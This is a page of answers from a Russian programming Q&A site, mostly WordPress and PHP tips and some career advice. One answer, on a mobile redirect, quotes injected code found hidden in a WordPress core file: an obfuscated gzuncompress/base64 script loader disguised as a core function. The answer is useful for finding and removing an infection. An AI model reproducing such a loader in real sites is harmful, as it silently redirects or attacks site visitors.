• PHP to CSV. Крогозябры при открытие файла в excel в кодировки UTF-8. Что делать?

    @ynblpb_spb
    дятел php
    https://sapeg.in/2013/12/527/

    Иными словами после отправки всех ваших заголовков добавьте
    echo "\xFF\xFE";
    и потом уже ваш цикл с выводом инфы
    Ответ написан
  • Сколько времени потребуется, чтобы стать веб-девелопером?

    IonDen
    @IonDen
    JavaScript developer. IonDen.com
    Почему вы хотите стать именно веб-девелопером? ИМХО в веб разработке сейчас такой разброс технологий, что можно потеряться. Если нахвататься по верхам HTML, CSS, JS, PHP - то вы скорее выйдете на уровень массового изготовления веб-сайтов на вордпрессе (очень нудная работа с очень высокой конкуренцией).

    Если хотите научиться чему-то серьезному - то начните с чего-то другого. Например с программирования. Тот же Python - даст вам прекрасную базу и море возможностей для дальнейшего развития. И позволит быстрее перейти к серьезной разработке, а не клепать говносайтики.

    Для выхода на джуниор позицию может хватить и года, если действительно пахать. Но серьезно карьеру построить уйдет от 3 лет и больше.

    Профильное высшее образование не критично (разве что вы захотите иммигрировать в страну где его требуют). Но если есть возможность учиться без ущерба для текущей работы и личной жизни - вперед. В обычном поиске работы (тем более в России) вообще не спрашивают. Главное показать работы, GitHub с проектами, т.е. показать скилл.

    Сидячий образ жизни накладывает отпечаток + туннельный синдром + позвоночник + глаза))) не все так гладко.
    Ответ написан
  • Вывод новостей с двумя разными стилями wordpress?

    trampick
    @trampick
    Веб-разработчик
    вам всего лишь нужно css свойство nth-child()
    Допустим у нас новости выводятся в таком виде
    <div class="items">
    <div class="item">Новость 1</div>
    <div class="item">Новость 2</div>
    <div class="item">Новость 3</div>
    <div class="item">Новость 4</div>
    <div class="item">Новость 5</div>
    </div>

    Для того чтобы задать стиль первой новости, то необходимо сделать так
    .items .item:nth-child(1){
    color:red;//перечисляем свойства
    }

    Для того чтобы задать стиль третьей новости, то необходимо сделать так
    .items .item:nth-child(3){
    color:blue;//перечисляем свойства
    }

    так же можно использовать в таком виде
    .items .item:nth-child(2n){
    color:blue;//перечисляем свойства
    }

    это означает задать стили для каждой второго элемента
    Ответ написан
  • Лучший по вашему мнению иконический шрифт?

    27cm
    @27cm
    TODO: Написать статус
    Лучше собрать из разных шрифтов и собственных svg только нужные иконки: fontello.com
    Ответ написан
  • Как поменять адрес WordPress?

    @g_s_e
    В БД сайта, втаблице wp_options есть запись что то в роде site_roor => 'value', открой БД через phpmyadmin, или другой редактор, и замени value записи на значение нового адреса 'http://новый-адрес-сайта.ru'
    Ответ написан
  • Почему неверно отображается админка WP после переезда на https?

    MetaDone
    @MetaDone
    Хорошо сформулированный вопрос - 50% решения
    в конфиг нужно добавить
    $_SERVER['HTTPS'] = 'on';
    define('FORCE_SSL_LOGIN', true);
    define('FORCE_SSL_ADMIN', true);

    и в теме в файле functions.php
    add_filter('script_loader_src', 'metadone_script_loader_src', 20,2);
    function metadone_script_loader_src($src, $handle) {
        return preg_replace('/^(http|https):/', '', $src);
    }
    add_filter('style_loader_src', 'metadone_style_loader_src', 20,2);
    function metadone_style_loader_src($src, $handle) {
        return preg_replace('/^(http|https):/', '', $src);
    }

    второй пункт не обязательно, только если сам сайт криво начал отображаться после переезда
    Ответ написан
  • В каком порядке вы делаете сайты на WP?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    Есть 2 типа работы:
    1. Типичная
    2. Уникальная (конкретно под задачу)

    Недобросовестные Исполнители: Чтобы обмануть снижают цену Заказчику по п.1, подводя его в переговорах к тому, что это ИМЕННО ТО, что ему нужно.

    Добросовестные Исполнители: делают СТРОГО по ТЗ, которое и разрабатывают в тесном диалоге с Заказчиком, и затем на его основе формируют мокапы, а затем отдают их дизайнеру для подготовки макетов страниц и последующей вёрстки в шаблон.
    Ответ написан
  • Как вывести дополнительные поля (meta box) на своей single-"".php?

    wppanda5
    @wppanda5 Куратор тега WordPress
    WordPress Mедведь
    Вот это вот трэш и угар, странно, что не ругается
    <?php echo get_post_meta(post->ID(), 'id-моего доп. поля', true); ?>

    надо
    <?php echo get_post_meta($post->ID, 'id-моего доп. поля', true); ?>

    или
    <?php echo get_post_meta(get_the_ID(), 'id-моего доп. поля', true); ?>


    И вот это вот
    $card = new WP_Query( array( 'post_type' => 'card') );

    не надо, WordPress итак знает, что в шаблоне single-card.php ему надо тянуть post_type card
    Ответ написан
  • Где найти работу по удаленке в 40+ лет?

    coderisimo
    @coderisimo
    Хотите ответ? Формулируйте вопрос КОРРЕКТНО ! :)
    Мне будет 41.
    Два года назад уволился из офиса (работа не была связана с IT). В жизни произошло немало паршивых перемен. На этом фоне принял дурацкое решение все изменить. Решил стать программистом, работать удаленно, быть более независимым и свободным. С тех пор много воды и пива утекло )))).
    Искал работу на фрилансе. Находил, как ни странно . Оптимальны недорогие проекты, когда есть время изучить тему. Задания оценивал не по зарплате, а по возможностям изучать новые области и получать деньги, как стипендию за обучение. Приглашали на собеседования в офис, но решил туда не попадать.Работа в офисе осточертела. Даже программистом. Тем более, что собеседование не пройду и ненавижу решать задачи не имеющие отношения к теме. Кроме того , туповат от природы. Могу застрять на простой задаче, что в 40 лет как-то эээ.... не так как в 20 :). Народ,разумеется, удивляется, когда приходит 40 летний чел без опыта работы :) . Когнитивный дисссссонанс, так сказать )))). Хотя вру... в одну контору собеседование прошел! Плавал в вопросах и волновался, но в целом говорил верные вещи. За день до начала мной работы им запретили набирать новых сотрудников из-за кризиса и я остался не у дел. В другую шарагу ходил лично общаться с руководством, и оно, увидев "мои седины", решило, что я квалифицированный товарищ... Ха ха ха. Прокатило! ))))). За второй месяц мне заплатили только половину. Сам виноват - не подписал договор. Тоже опыт - сын ошибок трудных. Да и с Yii поработал плотно,что тоже плюс.
    За прошедший период я осознал, что программистом скорее всего не стану. Мозги не те. Дело не в возрасте. Просто я не могу углубиться в тему. Т.е пока есть драйв и интересно, я могу освоить новый инструмент на уровне г...кодера и даже реализовать задание, причем , пытаясь вникнуть в "лучшие практики использования" , но дальше этого не идет. Осознание стало для меня открытием, и сейчас я активно думаю, куда идти дальше ).
    Из использованного (в какой-то мере освоенного уже) : C# (его изучал даже с репетитором, который и подбрасывал потом работу, но без особых перспектив), PHP (коньюктурное решение, но оно себя на 10000% оправдало). Работал с Yii, codeigniter . Разумеется, JS- JQUERY,Backbone,Fabric,Underscore , HTML, CSS, Bootstrap . Заинтересовался Python (распознавал свое аудио в большом записанном куске , отправлял запросы для распознавания песен на сторонний сервис, используя их API). Потенциальный заказчик проекта "слился", но я не жалею. Было интересно!
    Вообще, хочу констатировать : отечественный работодатель частенько кидал, что неприятно. Фриланс биржЫ отечественного разливу также навевали грусть."Сайт за 500 рублей" звучит не слишком вдохновляюще . В общем, сейчас я пытаюсь выжить на upwork. Переписка на аглицком взрывает мой 40 летний мосх, но я стараюсь. Что-то уже пишу на автомате. Пришлось с наскоку осваивать wordpress (уже написал для него пару плагинов). Показалось - ничего сложного. Что будет дальше не знаю, но... это прикольно! И пока вроде удается заработать на прожиточный минимум, даже с моими странными знаниями и возрастом.
    Так что резюмируя : все возможно и 40 лет это не приговор. Просто есть стереотипы, которые мешают. Типа, в 40 ты уже должен быть состоявшимся итд... и учить азы в этом возрасте негоже. Гоже! Еще как гоже. Надо просто пробовать ))))
    Удачи вам.
    Ответ написан
  • Как убрать мобильный редирект?

    EnterSandman
    @EnterSandman Автор вопроса
    Эникей
    отвечу сам
    пряталось в /wp-includes/post-template.php

    под видом
    function wp_scripts_method() {
            //wp_enqueue_script( 'jquery-lcr', gzuncompress(base64_decode('eJzT189JLUlOLMrXqzAyySjSS87P1c8q1k/OLy1JLdLLKgYAtu4LdA==')), array(), "\x32\x2e\x30\x2e\x31\x26\x74\x3d".time());
    }
    Ответ написан
  • Как решить конфликт между одинаковыми алиасами пользовательского типа контента и обычной страницы?

    Heian
    @Heian Автор вопроса
    Ашот
    Работающее решение проблемы. Если тип поста отличается от дефолтных, но он не найден, проверяем, существует ли страница с таким адресом.

    function loop_cpt_filter($wp_query) {
      // Variables
      $post_slug = null;
      $query_vars = $wp_query->query_vars;
    
      // If CPT is set but post not found
      if(!$wp_query->post_count && isset($query_vars['post_type'])) {
        $post_type = $query_vars['post_type'];
        $cpt_object = get_post_type_object($post_type);
    
        if(isset($query_vars[$post_type])) {
          $post_slug = trim($cpt_object->rewrite['slug'] . '/' . $query_vars[$post_type], '/');
        }
    
        // If page by that slug exists, set post to the current query
        if($post_slug && ($page = get_page_by_path($post_slug))) {     
          $wp_query->set('post_type', 'page');
          $wp_query->set('p', null);
          $wp_query->set('page_id', $page->ID);
        }
      }
    }
    add_action('pre_get_posts', 'loop_cpt_filter', 100, 1);
    Ответ написан
  • Почему Chrome не подключает Jquery + Font Awesome?

    vasilyev
    @vasilyev
    php, 1c-bitrix
    Вы подключаете вот так
    <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css">
    ...
    <script src="//code.jquery.com/jquery-1.11.3.min.js"></script>

    при этом браузер заменяет // на тот протокол, по которому вы сайт открыли. Обычно так делают, чтобы работало и по http:// и по https://. Если вы открываете этот файл "мимо сервера", то путь к нему в адресной строке file://путь к файлу/index.html. Бразуер заменяет // на протокол и пытается загрузить file://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css и file://code.jquery.com/jquery-1.11.3.min.js, которых по этому адресу, естественно, нет.
    Ответ написан
  • Wp_query для кастомных типов записей?

    HeadOnFire
    @HeadOnFire Куратор тега WordPress
    PHP, Laravel & WordPress Evangelist
    О боги! Такое ощущение, что все начинающие работать с WordPress учатся по одному какому-то старому уроку, написанному таким же начинающим. Сколько уже исписано - не используйте query_posts. Никогда!

    Если нужно получить 1 пост - get_post()
    Если нужно получить несколько постов вне контекста - get_posts()
    Если нужно модифицировать основной запрос - фильтр pre_get_posts
    Во всех остальных случаях - только WP_Query.

    В вашей ситуации, если нужно, например, на главной странице, где уже есть основной запрос, дополнительно вывести блок с кастомными записями (участники), делайте secondary loop с помощью WP_Query:

    $args = array(
        'post_type' => 'participants' // или как там он у вас называется
        'posts_per_page' => 5,
    );
    $participants = new WP_Query( $args );
    // дальше - loop
    if( $participants->have_posts() ) :
        while( $participants->have_posts() ) :
            $participants->the_post();
            // тут выводим пост
        endwhile;
    endif;
    wp_reset_postdata(); // возвращаем глобальные переменные к состоянию главного запроса


    Если же нужно вывести архив ваших участников - просто создайте шаблон archive-participants.php (вместо participants - ваше название custom post types).

    Если нужно, чтобы на главной или другом шаблоне участники выводились вперемешку вместе с обычными постами, или подобный сценарий - изменяете параметры основного запроса:

    function my_modified_query( $query ) {
        // вместо is_home - проверяйте на соответствующий задаче шаблон
        // is_main_query - чтобы убедиться, что меняем именно основной запрос
        if ( $query->is_home() && $query->is_main_query() ) {
            $query->set( 'post_type', 'participants' );
            $query->set( 'posts_per_page', 20 );
        }
    }
    add_action( 'pre_get_posts', 'my_modified_query' );


    Судя по всему, английскую документацию вы либо не читали, либо сложно понять всю суть на английском. Есть отличный источник информации на русском: wp-kama.ru/function/wp_query
    Ответ написан
  • Как сделать форму обратной связи wordpress?

    HeadOnFire
    @HeadOnFire Куратор тега WordPress
    PHP, Laravel & WordPress Evangelist
    Если action у вас - send.php, то после нажатия на submit браузер уйдет на эту страницу, передав ей все заполненные поля в массиве $_POST. Вот его и надо в этом send.php обработать, обязательно очистить и экранировать, и отправить письмо с помощью функции wp_mail(). Поскольку send.php эту отдельный файл, который не является шаблоном темы, надо будет включить wp-header.php, или попросту воспользоваться стандартной функцией PHP - mail().

    Но это не совсем правильный путь. Есть и другие, более удобные варианты, а поскольку форма у вас в попапе, то лучше всего воспользоваться Ajax'ом. Пишете в functions.php функцию обработки массива $_POST и отправки письма, саму функцию хукаете в аяксовые экшны, далее с фронтенда отправляете javascript'ом данные на этот action, возвращаете результат json'ом и выводите в вашем попапе.

    Если все это звучит для вас слишком сложно - установите Contact Form 7, Ninja Forms или другой нормальный плагин для форм обратной связи, установите к нему расширение для работы формы в попапе и не морочьте себе голову.
    Ответ написан
  • $$$ что значит в php?

    @kirill-93
    class B {
        public $b = 10;
    
        public function __toString() {
            return "b";
        }
    }
    
    $b = new B();
    echo $b->$$$b;


    Примерно так. Другой вопрос - зачем это нужно?
    Ответ написан